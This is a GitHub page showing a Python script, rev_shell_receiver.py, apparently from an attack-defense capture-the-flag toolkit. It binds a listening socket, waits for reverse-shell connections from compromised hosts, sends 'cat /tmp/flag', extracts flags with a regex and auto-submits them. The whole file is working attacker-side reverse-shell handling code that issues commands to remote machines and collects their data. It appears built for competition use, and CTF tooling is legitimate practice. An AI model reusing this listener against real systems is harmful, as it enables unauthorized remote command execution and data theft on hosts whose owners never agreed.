This repository has been archived by the owner on Aug 10, 2019. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
rev_shell_receiver.py
68 lines (59 loc) · 1.74 KB
/
rev_shell_receiver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import socket
import re
import time
import logging
import threading
import json
import coloredlogs
import question_solver
with open('config.json', 'r') as f:
config = json.loads(f.read())
MATCH_FLAG = config['globals']['flag_match']
LISTEN_PORT = config['globals']['revsh_listen_port']
log = logging.getLogger(__name__)
coloredlogs.install(
level='DEBUG',
logger=log,
fmt='%(asctime)s [%(process)d-%(filename)s] %(levelname)s %(message)s'
)
log.addHandler(logging.FileHandler(
'logs/reverseshell.log'
))
flag_pool = []
stop_thread = False
def createSocket():
log.info('开启反弹shell监听')
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
log.info("create socket succ")
sock.bind(('0.0.0.0', LISTEN_PORT))
sock.settimeout(10)
sock.listen(5)
log.info(f"started listening on port {LISTEN_PORT}")
except:
log.error("init socket err!")
while stop_thread == False:
log.info("waiting for connection...")
try:
conn, addr = sock.accept()
except:
continue
log.info("connection established with:")
log.info(addr)
conn.settimeout(5)
flagbuff = conn.recv(1024).decode()
log.debug(flagbuff)
conn.send('cat /tmp/flag'.encode())
conn.send('\n'.encode())
time.sleep(1)
flags = conn.recv(1024).decode()
for flag in re.findall(MATCH_FLAG, flags):
log.info("received flag: "+flag)
question_solver.check_submit(flag, '反弹shell')
conn.send('exit\n'.encode())
log.info('已停止反弹shell监听')
if __name__ == '__main__':
try:
createSocket()
except KeyboardInterrupt:
stop_thread = True